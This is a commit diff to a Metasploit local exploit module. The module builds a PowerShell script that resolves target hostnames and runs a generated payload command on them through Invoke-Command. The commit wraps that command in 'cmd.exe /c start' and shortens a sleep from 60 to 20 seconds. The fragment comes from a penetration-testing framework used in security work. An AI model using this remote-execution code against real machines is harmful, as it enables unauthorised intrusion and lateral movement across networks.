Ensure we start in a new conhost/process
This commit is contained in:
@@ -99,7 +99,7 @@ class Metasploit3 < Msf::Exploit::Local
|
||||
$ResultList=@(#{known_hosts});
|
||||
#{ip_list}
|
||||
foreach($ip in $iplist){$Resultlist += [System.Net.Dns]::GetHostbyAddress($ip).HostName};
|
||||
Invoke-Command -AsJob -ComputerName $ResultList -ScriptBlock { #{command} }
|
||||
Invoke-Command -AsJob -ComputerName $ResultList -ScriptBlock { cmd.exe /c start #{command} }
|
||||
EOF
|
||||
|
||||
if datastore['SMBUser']
|
||||
@@ -108,7 +108,7 @@ EOF
|
||||
|
||||
# If the host process terminates too quickly the jobs will die
|
||||
# before they spawn in a new process.
|
||||
ps << ";Sleep 60;"
|
||||
ps << ";Sleep 20;"
|
||||
ps.gsub!("\n","")
|
||||
|
||||
command = generate_psh_command_line({
|
||||
|
||||
Reference in New Issue
Block a user